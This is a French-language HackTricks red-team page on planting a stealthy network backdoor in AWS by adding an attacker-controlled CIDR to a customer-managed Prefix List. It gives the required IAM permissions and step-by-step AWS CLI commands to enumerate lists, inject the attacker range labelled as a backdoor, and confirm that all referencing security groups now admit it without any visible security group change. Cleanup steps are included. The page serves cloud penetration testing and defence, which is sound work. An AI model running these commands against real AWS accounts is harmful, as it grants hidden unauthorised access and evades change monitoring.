AWS - Security Group Backdoor via Managed Prefix Lists

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Résumé

Exploiter les customer-managed Prefix Lists pour créer un accès furtif. Si une security group (SG) rule référence une managed Prefix List, toute personne ayant la capacité de modifier cette liste peut ajouter silencieusement des CIDRs contrôlés par l’attaquant. Chaque SG (et potentiellement Network ACL ou VPC endpoint) qui référence la liste autorise immédiatement les nouvelles plages sans aucun changement visible dans le SG.

Impact

  • Extension instantanée des plages IP autorisées pour tous les SG référencant la Prefix List, contournant les contrôles de changement qui ne surveillent que les modifications de SG.
  • Permet des backdoors persistants d’ingress/egress : garder le CIDR malveillant caché dans la Prefix List tandis que la SG rule semble inchangée.

Prérequis

  • IAM permissions:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (to identify attached SGs)
  • Optional: ec2:CreateManagedPrefixList if creating a new one for testing.
  • Environnement : Au moins une SG rule référencant la customer-managed Prefix List ciblée.

Variables

REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Étapes d’attaque

  1. Énumérer les prefix lists candidates et les consommateurs
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

Utilisez aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID pour confirmer quelles règles SG dépendent de la liste.

  1. Ajouter le CIDR de l’attaquant à la prefix list
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Valider la propagation vers les groupes de sécurité
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

Le trafic en provenance de $ENTRY_CIDR est désormais autorisé partout où la prefix list est référencée (généralement dans les règles sortantes des proxies de sortie ou les règles entrantes des services partagés).

Preuves

  • get-managed-prefix-list-entries reflète le CIDR de l’attaquant et la description.
  • describe-security-group-rules affiche toujours la règle SG originale faisant référence à la prefix list (aucune modification du SG enregistrée), et pourtant le trafic provenant du nouveau CIDR passe.

Nettoyage

aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks